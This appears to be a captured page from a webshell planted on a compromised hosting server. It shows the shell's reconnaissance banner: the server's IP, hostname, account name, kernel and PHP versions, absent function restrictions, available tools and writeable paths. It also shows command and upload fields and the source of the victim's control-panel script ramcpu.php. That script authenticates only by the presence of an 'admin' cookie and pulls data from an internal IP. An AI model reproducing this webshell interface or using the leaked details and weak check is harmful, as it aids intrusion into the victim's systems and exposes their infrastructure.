403Webshell
Server IP : 103.82.32.14  /  Your IP : 216.73.217.121
Web Server : Apache/2.2.32 (Unix) mod_ssl/2.2.32 OpenSSL/1.0.1e-fips mod_fcgid/2.3.9
System : Linux cloud.lonmanhoabinh.com 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : lonmakmf ( 524)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/mcontrol/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mcontrol/public_html/admin/ramcpu.php
<?php
session_start();
ob_start();
if ($_COOKIE['admin'])
{
//	include("header/header.php");
	include("body/ramcpu_b.php");
	echo '<script type="text/JavaScript">
<!--
function timedRefresh(timeoutPeriod) {
        setTimeout("location.reload(true);",timeoutPeriod);
}
//   -->
</script>
<script type="text/JavaScript">timedRefresh(15000);</script>';
	/*$cpuloa = '<embed src ="./ddos.wav" hidden="true" autostart="true"></embed>';
	if(isset($_GET['mute']))
	{
		$_SESSION['mute']=1;
	}
	if(isset($_GET['speaker']))
	{
		$_SESSION['mute']=0;
	}
	if(isset($_SESSION['mute']) and $_SESSION['mute']==1)
	{
		$cpuloa='';
	}
	if(!isset($_SESSION['mute']) or $_SESSION['mute']==0)
	{
		$speaker='<a href="http://control.superhost.vn/admin/ramcpu.php?mute=true"><img src="http://superhost.vn/archive/images/volume-off-icon.png" style="margin-top: -50px;"/></a>';
	}
	else
		$speaker='<a href="http://control.superhost.vn/admin/ramcpu.php?speaker=true"><img src="http://superhost.vn/archive/images/volume-on-icon.png" style="margin-top: -50px;"/></a>';
	*/
	$ipvps = $_SESSION['IP'];
	$ipnode = $_SESSION['IPN'];
	$idvps = $_SESSION['ID'];
	$sttnode = $_SESSION['STTN'];
//	$sttnode="005";
	$data = file_get_contents("http://125.253.116.131:8689/data.$sttnode");
	list($zero,$data) = explode("kvm", $data);
	list($zero,$data) = explode("cpunode", $data);
	list($zero,$data) = explode("ramnode", $data);
	list($ram,$data) = explode("ram", $data);
	$rows = explode("x", $ram);
	foreach($rows as $row)
	{
		$row = trim($row);
		list($id, $total, $used, $free) = explode(" ", $row);
		$id=trim($id);
		if($id==$idvps)
		{
			$to[$id] = $total;
			$us[$id] = $used;
			$fr[$id] = $free;
		}
	}
	list($loadaverage,$data)=explode("loadaverage",$data);
	$rows = explode("x", $loadaverage);
	foreach($rows as $row)
	{
		$row = trim($row);
		list($id, $a,) = explode(" ", $row);
		$id=trim($id);
		if($id == $idvps)
		$cpu[$id] = $a;
	}
	list($cpuvps,$data)=explode("cpuvps",$data);
	$rows = explode("x", $cpuvps);
	foreach($rows as $row)
	{
		$row = trim($row);
		list($id, $a,) = explode(" ", $row);
		$id=trim($id);
		if($id == $idvps)
		$cpuvpss[$id] = $a;
	}
	echo $speaker;
	echo $abc;
	echo '<tr>';
	if($cpu[$idvps] >= 7)
	{
		echo $cpuloa;
		echo '<td bgcolor="red">';
	}
	if($cpu[$idvps] >= 3 and $cpu[$idvps] < 7)
	{
		echo '<td bgcolor="yellow">';
	}
	if($cpu[$idvps] < 3)
	{
		echo '<td>';
	}
	echo $cpu[$idvps].'</td><td>'.$cpuvpss[$idvps].'</td><td>'.$to[$idvps].'</td><td>'.$us[$idvps].'</td><td>'.$fr[$idvps].'</td></tr>';
	echo $cba;
}
/*else {
	header("location:http://control.superhost.vn/admin/login.php");
	exit;
}
include("footer/footer.php");
ob_flush();*/
?>

Youez - 2016 - github.com/yon3zu
LinuXploit